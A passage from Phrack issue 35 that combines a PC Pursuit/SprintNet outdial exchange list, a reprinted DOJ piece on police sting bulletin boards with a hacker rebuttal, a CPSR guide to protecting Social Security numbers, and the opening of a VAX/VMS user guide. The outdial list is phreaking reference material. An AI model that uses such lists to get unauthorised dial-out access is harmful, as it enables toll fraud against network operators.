713 TXHOU 200 220 221 222 223 224 225 226 227 228 229 230 233 235 236 713 TXHOU 237 238 240 241 242 244 246 247 252 253 254 261 263 264 265 713 TXHOU 266 267 268 269 270 271 272 274 277 278 280 282 283 284 285 713 TXHOU 286 287 289 293 295 320 324 326 328 331 332 333 334 335 336 713 TXHOU 337 338 339 341 342 343 346 347 350 351 353 354 355 356 358 713 TXHOU 359 360 363 364 367 370 371 373 374 376 377 378 383 388 390 713 TXHOU 391 392 393 394 395 420 421 422 424 425 426 427 428 431 432 713 TXHOU 433 434 436 437 438 439 440 441 442 443 444 445 446 447 448 713 TXHOU 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 713 TXHOU 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 713 TXHOU 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 713 TXHOU 494 495 496 497 498 499 520 521 522 523 524 525 526 527 528 713 TXHOU 529 530 531 535 536 537 540 541 542 546 547 548 549 550 551 713 TXHOU 552 556 558 561 563 565 568 571 575 577 578 579 580 583 584 713 TXHOU 586 587 588 589 590 591 596 599 620 621 622 623 626 627 629 713 TXHOU 630 631 633 635 636 639 640 641 643 644 645 649 650 651 652 713 TXHOU 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 713 TXHOU 668 669 670 671 672 673 674 675 676 678 679 680 681 682 683 713 TXHOU 684 685 686 688 690 691 692 694 695 696 697 699 720 721 723 713 TXHOU 726 728 729 731 732 733 734 738 739 741 744 746 747 748 749 713 TXHOU 750 751 752 753 754 757 758 759 761 762 763 764 765 768 769 713 TXHOU 771 772 774 775 776 777 778 779 780 781 782 783 784 785 786 713 TXHOU 787 788 789 790 791 792 793 794 795 796 797 798 799 820 821 713 TXHOU 822 823 824 825 826 827 828 829 831 833 834 835 836 840 841 713 TXHOU 842 844 845 846 847 850 852 853 854 855 856 857 858 859 861 713 TXHOU 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 713 TXHOU 877 878 879 880 882 883 884 886 888 890 891 892 893 894 895 713 TXHOU 896 897 898 899 920 921 922 923 924 926 928 929 930 931 932 713 TXHOU 933 935 937 938 939 940 941 943 944 946 947 948 951 952 953 713 TXHOU 954 955 956 957 960 961 963 964 965 966 967 968 969 971 972 713 TXHOU 973 974 975 977 978 980 981 983 984 985 986 987 988 989 991 713 TXHOU 992 993 995 996 997 998 999

801 UTSLC 220 237 240 250 251 252 254 255 261 262 263 264 265 266 268 801 UTSLC 269 272 273 277 278 287 292 295 298 299 321 322 328 350 355 801 UTSLC 359 363 364 366 451 460 461 466 467 468 480 481 482 483 484 801 UTSLC 485 486 487 488 521 522 524 526 530 531 532 533 534 535 536 801 UTSLC 537 538 539 543 544 546 547 549 561 562 565 566 569 570 571 801 UTSLC 572 573 575 576 578 579 580 581 582 583 584 585 588 594 595 801 UTSLC 596 633 799 933 942 943 944 947 964 965 966 967 968 969 972 801 UTSLC 973 974 975 977

206 WASEA 223 224 226 227 228 232 233 234 235 236 237 241 242 243 244 206 WASEA 246 248 251 255 271 277 281 282 283 284 285 286 287 292 296 206 WASEA 298 320 322 323 324 325 326 328 329 340 343 344 345 346 358 206 WASEA 361 362 363 364 365 367 368 382 386 389 391 392 393 394 395 206 WASEA 421 431 432 433 439 441 442 443 447 448 451 453 454 455 461 206 WASEA 462 464 467 477 481 483 485 486 487 488 489 522 523 524 525 206 WASEA 526 527 528 542 543 544 545 546 547 548 554 557 562 575 583 206 WASEA 585 587 621 622 623 624 625 626 628 630 631 632 633 634 635 206 WASEA 637 639 641 643 644 646 649 654 655 656 657 661 662 667 670 206 WASEA 672 682 684 685 720 721 722 723 725 726 727 728 742 743 744 206 WASEA 745 746 747 762 763 764 767 768 771 772 773 774 775 776 778 206 WASEA 781 782 783 784 787 788 789 820 821 822 823 824 827 828 836 206 WASEA 838 839 842 850 852 854 859 861 865 867 868 869 870 872 874 206 WASEA 878 880 881 882 883 885 889 930 932 933 935 936 937 938 940 206 WASEA 941 946 947 948 949 953 954 955 965 969 972 977 979 982 986 206 WASEA 989 991 993 994 995 996 997 998 999

414 WIMIL 221 222 223 224 225 226 227 228 229 237 241 242 243 246 251 414 WIMIL 252 253 254 255 256 257 258 259 263 264 265 266 271 272 273 414 WIMIL 274 276 277 278 281 282 283 287 288 289 291 297 298 299 321 414 WIMIL 322 323 327 332 341 342 343 344 345 347 351 352 353 354 355 414 WIMIL 357 358 359 362 365 367 372 374 375 377 382 383 384 385 421 414 WIMIL 422 423 425 427 438 442 444 445 447 449 453 454 461 462 463 414 WIMIL 464 466 471 475 476 481 482 483 486 491 521 523 524 527 529 414 WIMIL 535 536 538 541 542 543 544 545 546 547 548 549 562 575 579 414 WIMIL 581 643 645 647 649 662 663 671 672 678 679 691 744 747 761 414 WIMIL 762 764 765 768 769 771 774 778 781 782 783 784 785 786 789 414 WIMIL 791 792 796 797 798 799 821 835 844 871 873 874 881 896 931 414 WIMIL 933 935 936 937 941 955 961 962 963 964 966

Conclusion

‑‑‑‑‑‑‑‑‑‑

I could hardly take credit for scanning and finding the NUAs that make make up this list. I put this list together because the lists I've seen in the past were either partially incomplete or partially incorrect. A list put out by OpusWiz and Dawn Treader several years ago served as the base data for this list. I've spoken to many many hackers over the years to add to and correct the list. Erik Bloodaxe's Telenet Directory, published in the Legion of Doom Technical Journals, was of great help in clarifying and adding to the data.

The list is still neither complete or fully accurate. For example, I still don't know the outdials for San Diego, California (619). The 415 and 714 outdials might be mixed up. If you have any additions or corrections, please e/mail one of my Internet accounts.

By the way, the new 510 area code will have an impact on the PC Pursuit dialout list. SprintNet hasn't incorporated the new area code into its lists yet, so I haven't either. But they will soon, so be aware that the Oakland, California dialout will change from area code 415 to 510 someday.

Sting Operations

== Phrack Inc. ==

Volume Three, Issue Thirty‑five, File 5 of 13

________________________________

||

|| Don't let THIS happen to you! ||

||

|| __________

|| Heh | |/No life, no future... || || /Heh! | 0 H S L Q I F X ||

|| O | ‑‑|‑‑

|| ‑‑|‑‑ | / \

|| / \ | / \

|| / \____|____ E N _ R _ P M E N _ ||

|| Dale ^

|| Drew |

|| Will this be YOU?! ||

||________________________________

The following is a reprint of the article "Sting Operations" from the book _Dedicated Computer Crime Units_ (pages 101‑103) written by J. Thomas McEwen for the U.S. Department of Justice and published in June 1989.

If you would like to get your own FREE copy of this book, or its companion books:

‑ Organizing for Computer Crime Investigation and Prosecution

‑ Electronic Fund Transfer and Crime

‑ Electronic Fund Transfer Fraud

you can contact:

U.S. Department of Justice

Office of Justice Programs

National Institute of Justice

Washington, D.C. 20531

(301)251‑5500

(800)851‑3420

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

S T I N G O P E R A T I O N S

~~~~~~~~~ ~~~~

Will *YOU* Be The Next Victim?!

Transcribed by Sovereign Immunity

ELECTRONIC BULLETIN BOARDS

An electronic bulletin board allows for the storage of information which can be retrieved by other systems calling into the board. It is essentially a database maintained by a system that is accessible by others over telephone lines. Most bulletin boards have been created for specific purposes, usually for the exchange of messages and information among parties with common interests. For example, members of computer clubs maintain bulletin boards for communicating with each other between meetings.

Bulletin boards are especially popular among microcomputer users. Establishment of a bulletin board is facilitated by programs that can be purchased or obtained from public domain software. With one of these programs, a user can establish tailored menus for anyone dialing into the board. These menus will usually contain options on information about the board, bulletins, news summaries, personal mail, conferences, and leaving messages.

In addition, most bulletin boards have different levels of access to restrict users from certain parts of the board. The bulletin board owner, usually called the System Operator (SYSOP), personally establishes the authorized access levels for each user and enters this information into the system. Access is determined by having a user provide their name and password when signing on to the system. A telephone line into the system is the only other requirement for establishing a board on a microcomputer.

Access to bulletin boards generally operates along the following lines:

‑ A user dials into the bulletin board.

‑ The board responds with a message asking for the person's name and password. ‑ The board then provides a menu showing the options available to the user. ‑ The user selects an option and starts interacting with the system. ‑ During a session, a user typically may read messages, leave messages, download files, upload files, or join a conference.

‑ The user eventually "quits" the session and hangs up from the board.

While most bulletin boards have been established for legitimate purposes, there are also "pirate" or "elite" boards that contain illegal information or have been established to advance an illegal activity. Security on those boards is tightly controlled by the owners. With these bulletin boards, users usually have to contact the owner directly to obtain a password for access to different levels of the system. A degree of trust must therefore be established before the owner will allow access to the board, and the owners develop "power" over who can use the system.

Pirate boards have been found with a variety of illegal information on them including the following:

‑ Stolen credit card account numbers

‑ Long distance telephone service codes

‑ Telephone numbers to mainframe computers, including passwords and account numbers

‑ Procedures for making illegal drugs

‑ Procedures for making car bombs

‑ Hacking programs

‑ Tips on how to break into computer systems

‑ Schematics for electronic boxes (e.g., black box)

These boards obviously are a threat to communities, and their existence has gained the attention of some police departments.

STING OPERATIONS WITH BULLETIN BOARDS

The experiences of the Maricopa County, Arizona, Sheriff's Department and the Fremont, California, Police Department are very instructive on how local departments can establish their own bulletin boards and become part of the network with other boards. Members of the Maricopa County Sheriff's Department were the first in the country to establish such a board. Their board resulted in over 50 arrests with the usual charge being telecommunications fraud.

In September, 1985, the Fremont Police Department established a bulletin board for the primary purpose of gathering intelligence on hackers and phreakers in the area. The operation was partially funded by VISA, Inc. with additional support from Wells Fargo Bank, Western Union, Sprint, MCI, and ITT.

After establishing their bulletin board, they advertised it on other boards as the newest "phreak board" in the area. Within the first four days, over 300 calls were received on the board. During the next three months, the board logged over 2,500 calls from 130 regular users. Through the bulletin board, they persuaded these groups that they had stolen or hacked long‑distance telephone service codes and credit account numbers. They were readily accepted and were allowed access to pirate boards in the area.

The board was operated for a total of three months. During that period, over 300 stolen credit card numbers and long‑distance telephone service codes were recovered. Passwords to many government, educational, and corporate computers were also discovered on other boards.

The operation resulted in the apprehension of eight teenagers in the area who were charged with trafficking in stolen credit card accounts, trafficking in stolen long‑distance telephone service codes, and possession of stolen property. Within the next week, seven more teenagers in California and other states were arrested on information from this operation.

It was established that this group had been illegally accessing between ten and fifteen businesses and institutions in California. They were regularly bypassing the security of these systems with stolen phone numbers and access codes. One victim company estimated that it intended to spend $10,000 to improve its security and data integrity procedures. Other victimized businesses were proceeding along the same lines.

CONCLUSIONS

There are several reasons for conducting Sting operations of this type. One of the most important is that it provides a proactive method of identifying hackers and phreakers in the area. These groups are particularly hard to find since they operate in closed circles with personal networks developed from friendships.

Another byproduct of these operations is the publicity surrounding the cases. Sting operations result in considerable amount of attention from the media. The publicity has the effect of closing down other pirate boards in the area. One of the greatest fears of these offenders in that their systems will be taken, and in the Fremont operation over $12,000 of computer equipment was seized. The publicity associated with these seizures seems to be the primary reason for others to stop their pirate boards.

These operations also lead to other types of offenses. In Fremont, for example, drug and alcohol cases were developed as a result of the Sting operation. This has been typical of these operations.

The Sting operations with bulletin boards have been criticized because teenagers, rather than hardened criminals, are arrested. Many hackers believe that they have a right to the data in other systems and that their activities are not illegal since the companies can afford the losses. On the other hand, as one investigator observed, the hackers of today may be the sophisticated computer criminals of tomorrow. It is therefore important to set a lesson early in their careers steering them away from these offenses.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

RESPONSE FROM A MEMBER OF THE HACKER COMMUNITY:

Now lets take a look at this article and the ignorant author J. Thomas McEwen.

"Pirate boards have been found with a variety of illegal information on them..."

The author names:

"Telephone numbers to mainframe computers" ‑‑ There is nothing illegal in having the telephone number to a mainframe computer. It is illegal to access a computer without authorization.

"Procedures for making illegal drugs" ‑‑ It is NOT illegal to know how to manufacture illegal drugs, only to actually manufacture or use them.

"Procedures for making car bombs" ‑‑ It is NOT illegal to know how to manufacture car bombs, only to actually manufacture or use them.

"Hacking programs" ‑‑ Indeed most security companies, private security consultants, or mainframe owners and operators use these to test their systems very often. It would only be illegal to use one on a machine that you are not authorized to use it on.

"Tips on how to break into computer systems" ‑‑ Again, it is NOT illegal to know how to break into a computer... although for a change, according to a section of the Computer Fraud & Abuse Act of 1986 (Federal Law), it would be illegal to traffic in passwords, codes, and theoretically any instructions that would be the equivalent of passwords or codes for the unauthorized entry into computer systems.

"Schematics for electronic boxes (e.g., black box)" ‑‑ This is getting boring. It is NOT illegal to know how to build these devices, only the actual construction or use of them is illegal.

"These boards obviously are a threat to communities, and their existence has gained the attention of some police departments."

How are they obviously a threat?

The author would like us to believe that if the information on how to make telephone devices, explosives, or narcotics is available on bulletin boards, this is enough to make them a threat to communities.

What he ignores is that the same information can be found in public and university libraries, text books, and technical journals;

He ignores that the mere possession of information on how a crime MIGHT be committed is NOT a crime; and finally,

He fails to recognize any First Amendment rights whatsoever of computer bulletin boards to have all such information to begin with.

"It is therefore important to set a lesson early in the careers steering them away from these offenses."

Of course an arrest for some minor computer mischief is not going to be great resume material when these teenagers start applying for jobs, even though the establishment has inspired within them the socially acceptable goal of conforming to society's expectations.

CONCLUSIONS

The author, J. Thomas McEwen, does not know much about freedom of speech and for that matter, he does not know much about the law. He does know a lot about how to sensationalize very benign conduct into dangerous conspiracy. Perhaps he is close friends with Geraldo Rivera.

Bulletin board operators and users take note of the law and your rights. Don't let yourself get taken in by Sting boards or ignorant law enforcement officers looking for some gratification on the job since they aren't getting it at home.

S o v e r e i g n I m m u n i t y

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Editor's Comments by: Dispater

Sting boards have been a popular topic in Phrack and Phrack World News over the years. In this file, Sovereign Immunity, showed us an excerpt that discussed a Sting bulletin board in Fremont, California. As it turns out, Knight Lightning had some material about this way back in Phrack World News Issue 3 (which actually appeared in Phrack Issue 4). The article was titled "Phoenix Phortress Stings 7." There have also been many other articles in Phrack World News about sting operations and bulletin boards.

Additionally, Phrack Issues 21‑23 each carried one part of Knight Lightning's "Vicious Circle" Trilogy. The first two parts of which ("Shadows Of A Future Past" and "The Judas Contract") contained a lot of material about sting boards and informants.

Although Phrack has not presented material concerning Sting boards in Maricopa County, Arizona, there was discussion about a bulletin board (The Dark Side) in Arizona (602) run by "The Dictator" (Dale Drew) as a sting operation revealed in Computer Underground Digest 3.02 and recently we heard that he was back in action under the name "Blind Faith."

Dispater

Social Security Numbers & Privacy

== Phrack Inc. ==

Volume Three, Issue Thirty‑five, File 6 of 13

***** Social Security Numbers & Privacy *****

***

* b y C h r i s H i b b e r t *

***

***** June 1, 1991 *****

Computer Professionals for Social Responsibility

Many people are concerned about the number of organizations asking for their Social Security Numbers. They worry about invasions of privacy and the oppressive feeling of being treated as just a number.

Unfortunately, I can't offer any hope about the dehumanizing effects of identifying you with your numbers. I *can* try to help you keep your Social Security Number from being used as a tool in the invasion of your privacy.

Surprisingly, government agencies are reasonably easy to deal with; private organizations are much more troublesome. Federal law restricts the agencies at all levels of government that can demand your number and a fairly complete disclosure is required even if its use is voluntary. There are no comparable laws restricting the uses non‑government organizations can make of it, or compelling them to tell you anything about their plans. With private institutions, your main recourse is refusing to do business with anyone whose terms you don't like.

*********************

*** ***

*** Short History ***

*** ***

*********************

Social Security numbers were introduced by the Social Security Act of 1935. They were originally intended to be used only by the social security program, and public assurances were given at the time that use would be strictly limited. In 1943 Roosevelt signed Executive Order 9397 which required federal agencies to use the number when creating new record‑keeping systems. In 1961 the IRS began to use it as a taxpayer ID number. The Privacy Act of 1974 required authorization for government agencies to use SSNs in their data bases and required disclosures (detailed below) when government agencies request the number. Agencies which were already using SSN as an identifier were allowed to continue using it. The Tax Reform Act of 1976 gave authority to state or local tax, welfare, driver's license, or motor vehicle registration authorities to use the number in order to establish identities. The Privacy Protection Study Commission of 1977 recommended that the Executive Order be repealed after some agencies referred to it as their authorization to use SSNs. I don't know whether it was repealed, but that practice has stopped.

The Privacy Act of 1974 (5 USC 552a) requires that any federal, state, or local government agency that requests your Social Security Number has to tell you three things:

1. Whether disclosure of your Social Security Number is required or optional;

2. What law authorizes them to ask for your Social Security Number; and,

3. How your Social Security Number will be used if you give it to them.

In addition, the Act says that only Federal law can make use of the Social Security Number mandatory. So anytime you're dealing with a government institution and you're asked for your Social Security Number, just look for the Privacy Act Statement. If there isn't one, complain and don't give your number. If the statement is present, read it. If it says giving your Social Security Number is voluntary, you'll have to decide for yourself whether to fill in the number.

*****************************

*** ***

*** Private Organizations ***

*** ***

*****************************

The guidelines for dealing with non‑governmental institutions are much more tenuous. Most of the time private organizations that request your Social Security Number can get by quite well without your number, and if you can find the right person to negotiate with, they'll willingly admit it. The problem is finding that right person. The person behind the counter is often told no more than "get the customers to fill out the form completely."

Most of the time, you can convince them to use some other number. Usually the simplest way to refuse to give your Social Security Number is simply to leave the appropriate space blank. One of the times when this isn't a strong enough statement of your desire to conceal your number is when dealing with institutions which have direct contact with your employer. Most employers have no policy against revealing your Social Security Number; they apparently believe the omission must have been an unintentional slip.

*****************************

*** ***

*** Lenders and Borrowers ***

*** ***

*****************************

Banks and credit card issuers are required by the IRS to report the SSNs of account holders to whom they pay interest or when they charge interest and report it to the IRS. If you don't tell them your number you will probably either be refused an account or be charged a penalty such as withholding of taxes on your interest.

************************************

*** ***

*** Insurers, Hospitals, Doctors ***

*** ***

************************************

No laws require medical service providers to use your Social Security Number as an ID number (except for Medicare, Medicaid, etc). They often use it because it's convenient or because your employer uses it to certify employees to its groups health plan. In the latter case, you have to get your employer to change their policies. Often, the people who work in personnel assume that the employer or insurance company requires use of the SSN when that's not really the case. When my current employer asked for my SSN for an insurance form, I asked them to try to find out if they had to use it. After a week they reported that the insurance company had gone along with my request and told me what number to use. Blood banks also ask for the number but are willing to do without if pressed on the issue. After I asked politely and persistently, the blood bank I go to agreed that they didn't have any use for the number, and is in the process of teaching their receptionists not to request the number.

****************************************

***

*** Why Is The Use of Social Security Numbers A Problem? ***

***

****************************************

The Social Security Number doesn't work well as an identifier for several reasons. The first reason is that it isn't at all secure; if someone makes up a nine‑digit number, it's quite likely that they've picked a number that is assigned to someone. There are quite a few reasons why people would make up a number: to hide their identity or the fact that they're doing something; because they're not allowed to have a number of their own (illegal immigrants, e.g.), or to protect their privacy. In addition, it's easy to write the number down wrong, which can lead to the same problems as intentionally giving a false number. There are several numbers that have been used by thousands of people because they were on sample cards shipped in wallets by their manufacturers (one is included below).

When more than one person uses the same number, it clouds up the records. If someone intended to hide their activities, it's likely that it'll look bad on whichever record it shows up on. When it happens accidently, it can be unexpected, embarrassing, or worse. How do you prove that you weren't the one using your number when the record was made?

A second problem with the use of SSNs as identifiers is that it makes it hard to control access to personal information. Even assuming you want someone to be able to find out some things about you, there's no reason to believe that you want to make all records concerning yourself available. When multiple record systems are all keyed by the same identifier, and all are intended to be easily accessible to some users, it becomes difficult to allow someone access to some of the information about a person while restricting them to specific topics.

****************************************

***

*** What Can You Do To Protect Your Number? ***

***

****************************************

If despite your having written "refused" in the box for Social Security Number, it still shows up on the forms someone sends back to you (or worse, on the ID card they issue), your recourse is to write letters or make phone calls. Start politely, explaining your position and expecting them to understand and cooperate. If that doesn't work, there are several more things to try:

1. Talk to people higher up in the organization. This often works simply because the organization has a standard way of dealing with requests not to use the SSN, and the first person you deal with just hasn't been around long enough to know what it is.

2. Enlist the aid of your employer. You have to decide whether talking to someone in personnel, and possibly trying to change corporate policy is going to get back to your supervisor and affect your job.

3. Threaten to complain to a consumer affairs bureau. Most newspapers can get a quick response. Some cities, counties, and states also have programs that might be able to help.

4. Tell them you'll take your business elsewhere (and follow through if they don't cooperate).

5. If it's a case where you've gotten service already, but someone insists that you have to provide your number in order to have a continuing relationship, you can choose to ignore the request in hopes that they'll forget or find another solution before you get tired of the interruption.

If someone absolutely insists on getting your Social Security Number, you may want to give a fake number. There is no legal penalty as long as you're not doing it to get something from a government agency or to commit fraud. There are a few good choices for "anonymous" numbers. Making one up at random is a bad idea, as it may coincide with someone's real number and cause them some amount of grief. It's better to use a number like 078‑05‑1120, which was printed on "sample" cards inserted in thousands of new wallets sold in the 40s and 50s. It's been used so widely that both the IRS and SSA recognize it immediately as bogus, while most clerks haven't heard of it. It's also safe to invent a number that has only zeros in one of the fields. The Social Security Administration never issues numbers with this pattern. They also recommend that people showing Social Security cards in advertisements use numbers in the range 987‑65‑4320 through 987‑65‑4329.

The Social Security Administration recommends that you request a copy of your file from them every few years to make sure that your records are correct.

********

***

*** THE END ***

***

********

Users Guide to VAX/VMS Part 1 of 3

==Phrack Inc.==

Volume Three, Issue Thirty‑five, File 7 of 13

<:=‑‑=:><:=‑‑=:><:=‑‑=:><:=‑‑=:>\|

<:=‑‑=:>

<:=‑‑=:> >>>>>=‑* Users Guide to VAX/VMS *‑=<<<<< <:=‑‑=:>

<:=‑‑=:>

<:=‑‑=:> Part I of III <:=‑‑=:>

<:=‑‑=:>

<:=‑‑=:> Part A: Basic Information <:=‑‑=:> <:=‑‑=:> Part B: Programming the VAX/VMS <:=‑‑=:>

<:=‑‑=:>

<:=‑‑=:> By: Black Kat <:=‑‑=:>

<:=‑‑=:>

<:=‑‑=:><:=‑‑=:><:=‑‑=:><:=‑‑=:>/|

Index

~~~~

Part A contains information on the following topics:

o Background o Logical Names o Terminal Control Keys o System Default Logical Names o Logging in o Logical Name Tables o Digital Command Language (DCL) o User Environment o Error Messages o Terminal Characteristics o Command Line Editing o File Security o Files and Directories o EDT Text Editor o File Operations o EDT Help manual

Part B contains information on the following topics:

o Programming VAX/VMS o Parameters

o DCL Expressions o Terminal I/O

o Command Procedures o File I/O

o Writing Command Procedures o Redirecting Command Procedure I/O o Comments o Branching and Conditionals o Labels o Loops

o Debugging o Subroutines

o Invoking Command Procedures o Error Handling

o Symbols o Termination

o Lexical Functions o Example Command Procedures

<:=‑ Part A : Basic Information ‑=:>

Introduction

~~~~~~~~~~~

VAX is an acronym for Virtual Address eXtension, a 32‑bit computer developed by Digital in the 1970's. The VAX architecture supports multiprogramming, where many users running different programs can use the VAX simultaneously and each appears to have full control of the computer's resources. The multiprocessing VAX functions vary differently from the old timesharing systems, which would allocate a slice of CPU time to each user of the system in a rotating fashion, whether the time slice was required or not. The VAX/VMS environment, however, provides each user an allocation of processor time based on the user's needs and priority. If a user does not need his quantum of time, or a portion of it, it is given to the next user. This scheduling method is very efficient when compared to the old method of timesharing.

The VAX is capable of addressing more than four billion addresses, through a method known as virtual memory addressing. Because the memory is virtual however, there is no need to have four billion bytes of physical memory. The VAX executes programs by a technique known as paging, whereby a single "page" of the program is read into memory at a time, and when a new page is needed, the old one is "swapped" back out to disk to make room for the new one. The VMS operating system ties everything together. The user interacts with VMS (Virtual Memory System) through a Command Language Interpreter (CLI), usually the Digital Command Language (DCL).

When you use VAX/VMS, you are known to the system as a process, which is created when you log in to the system and deleted when you log out. This process carries with it various attributes to identify you from other system users (process name, identification, user identification code, privileges, etc).

Terminal Control Keys

~~~~~~~~~~~~~~~~~~~

Ctrl‑A Allows you to insert, rather than overstrike, characters on a DCL command line that you're editing.

Ctrl‑B Displays DCL commands that you've previously entered. Ctrl‑C Interrupts the coessed or the program being executed. Ctrl‑E Positions the cursor at the end of the line.

Ctrl‑H Positions the cursor at the beginning of the line. Ctrl‑I Tab

Ctrl‑O Alternately suppresses and continues the display of the output terminal.

Ctrl‑Q Enables (toggles on) output to the display after CTRL‑S. Ctrl‑R Retypes the current input line and repositions the cursor atthe end of the retyped line.

Ctrl‑S Disables (toggles off) output to the display until CTRL‑Q is pressed.

Ctrl‑T Displays process statistics.

Ctrl‑U Discards the current input line and performs carriage return. Ctrl‑W Refreshes the screen.

Ctrl‑X Flushes the type‑ahead buffer.

Ctrl‑Y Interrupts command or program execution and returns control to the DCL command line interpreter.

Ctrl‑Z Indicates end of file for data entered from terminal.

Logging in

~~~~~~~~

Most VAX systems prompt you with something like this:

Welcome to VAX1

Username:

Type your username and press <enter>. You'll then be prompted for your password. If you enter the correct username/password combination, you'll be given something like the following:

Welcome to VAX/VMS V4.4

Last interactive login on Monday, 16‑JUL‑87 16:12

Last non‑interactive login on Friday, 13‑JUL‑87 00:14

$

If you entered an incorrect username and password, you'll receive the message:

User authorization failure

Just hit <enter> and you'll be prompted for your username again. Once you're logged in, you'll be given the DCL prompt ($). This indicates that the system is ready to accept interactive commands.

To log out, use the command:

$ LOGOUT

The Digital Command Language (DCL)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

DCL is comprised of more than 200 commands called verbs. Each DCL verb acts on a parameter or assumed parameter, and the action of these verbs and the scope of their parameters can be modified with qualifiers. The basic command structure is:

$ LABEL: COMMAND‑NAME PARAMETER(S) /QUALIFIER(S) !COMMENT

| | |

| | | Optional Comment

| | |

| | | Command modifier(s)

| | |

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑Object of the

Command

| |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑DCL command verb

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Optional Label

A label is an optional, user‑specified string with a maximum length of 255 characters. It is most commonly used in command procedures.

A DCL command verb defines the action the VAX will take when the command line is interpreted.

Parameter(s) specify the object or a list of objects the DCL command verb will act upon. Multiple parameters may be specified but must be separated from one another by a space, multiple spaces, or a tab. If you enter a DCL command that requires parameters, but you don't enter them on the command line, the DCL interpreter will prompt you for them automatically.

Qualifiers further define or modify the function the DCL command will perform. They consist of a keyword followed by a value or a list of values.

The qualifier keyword must be preceded by a slash (/). Multiple qualifiers may be specified, but each must be preceded with a slash. Qualifiers usually aren't required. There are three kinds of qualifiers: parameter, positional, and command. A command qualifier applies to the whole command. Generally, these are placed at the end of the command. For example:

$ DIRECTORY [BYNON],[BYNON.DECPRO]/FULL

This displays a full listing of two directories, using the /FULL qualifier of the DIRECTORY command. A positional qualifier takes on a different meaning based on where it is located in the command. If a positional qualifier is placed after the command verb, but before the first parameter, the qualifier will affect the entire command. If the same positional qualifier is placed after a parameter, only that parameter will be affected. For example:

$ PRINT/COPIES=3 MEMO1.TXT,MEMO2.TXT

$ PRINT MEMO1.TXT/COPIES=2,MEMO2.TXT

The first command prints three copies of each file. The second command prints two copies of the first file, but only one copy of the second. A parameter qualifier affects only the parameter it follows. In the following example, MEMO1.TXT is sent to the queue LASER and MEMO2.TXT is sent to queue FAST_PRINT:

$ PRINT MEMO1.TXT/QUEUE=LASER,MEMO2.TXT/QUEUE=FAST_PRINT

A comment is an optional, user‑specified comment about the command. It is commonly used in command procedures to document the command.

Error Messages

~~~~~~~~~~~~

Generally, error messages are of the format:

% FACILIT‑L‑IDENT, TEXT

| | | | |

| | | | +‑‑ explanation of the error message

| | | |

| | | +‑‑‑‑‑‑‑‑‑ abbreviated message text, for reference | | |

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑ error severity

| |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Vax/VMS facility or component (error source) |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ message number: "%" = first, "‑" = subsequent

A percent sign (%) indicates the first error message for a given command. All subsequent errors for that command are preceded with a hyphen (‑).

The facility indicates the source of the error. The source may be the DCL command line interpreter, one of the various VMS utilities, or a program image.

The severity level indicator (L) will have one of the following values: S (successful completion), I (information), W (warning), E (error), or F (fatal or severe error).

The ident is an abbreviation of the error message text. It can be referenced in the VAX/VMS System Messages manual.

The text provides an explanation of the error message.

Command line editing

~~~~~~~~~~~~~~~~~~

DCL stores the last 20 command lines entered. You can display a list of them with:

$ RECALL /ALL

The resulting display might look like:

1 DIR

2 COPY VAX1::$1$DUA5:[BYNON]LOGIN.COM LOGIN.COM;1

3 EDIT LOGIN.COM

$

To recall a specific command from the recall buffer, use the DCL RECALL command with a command line number as a parameter. For example:

$ RECALL 2

$ COPY VAX1::$1$6DUA5:[BYNON]LOGIN.COM LOGIN.COM;1

Files and Directories

~~~~~~~~~~~~~~~~~~~~

Files are organized much like MS‑DOS, with a directory‑tree structure. The user's default directory (assigned by the system administrator) is the "root" directory. Up to seven subdirectories may be created, each containing as many subdirectories as you like. The complete file specification looks like:

VAX1 :: DUA0 : [BYNON.PROGRAMMING.FORTRAN]WINDOWS.FOR;3

| | |

| | |

node device directory filename | version

type

The node name identifies a computer system in a network. If no node name is specified, VMS assumes the file is located on the local node where you're logged in.

The device name is the physical device where the file is stored. It is a four‑character alphanumeric code which identifies the device type, hardware controller to which it is attached, and the unit number of the device on the controller. If you omit the device name from a file specification, VMS assumes you are referring to your default device.

The directory entry is enclosed in brackets, and is the name of the directory that contains the file. If you omit the directory name from a file specification, VMS will assume you are referring to your default directory.

The filename may consist of up to 39 alphanumeric characters.

The file type is a code consisting of up to 39 alphanumeric characters, and it generally indicates the type of information supplied in the file. Some system programs and utilities supply a three character default file type.

The version number is a 1 to 5 digit number the system assigns to every file by default. When a file is created, it is assigned a version number of 1. Each time the file is edited or another version of it is created, the version number is automatically incremented by 1. Alternatively, you may specify a version number of your choice.

No blank spaces are allowed within any portion of a file specification. In VMS Version 4.x, the maximum lengths are as follows:

node name up to 6 characters

device name four characters

directory name up to 39 characters

subdirectory name up to 39 characters

file name up to 39 characters

file type up to 39 characters

version number up to 5 decimal digits with a value between 1 and 32,767

File specifications must be unique; no two files can have completely identical specifications. It's conceivable to have many copies of NOTES.TXT in a subdirectory, but only one NOTES.TXT;8 may exist in the same subdirectory.

Wildcards are similar to those in MS‑DOS, with an asterisk (*) representing a filename or filetype, and a percent sign (%) indicating a single character.

File operations

~~~~~~~~~~~~~~

Creating and modifying files: $ CREATE TEMP.DAT

TEMP 1

TEMP 2

<CTRL‑Z>

Renaming files: $ RENAME TEMP.DAT NEW.DAT

$ RENAME TEMP.DAT [BYNON.PROG]TEMP.DAT Note: you cannot rename files across devices, just directories.

Copying files: $ COPY TEMP.DAT NEW.DAT

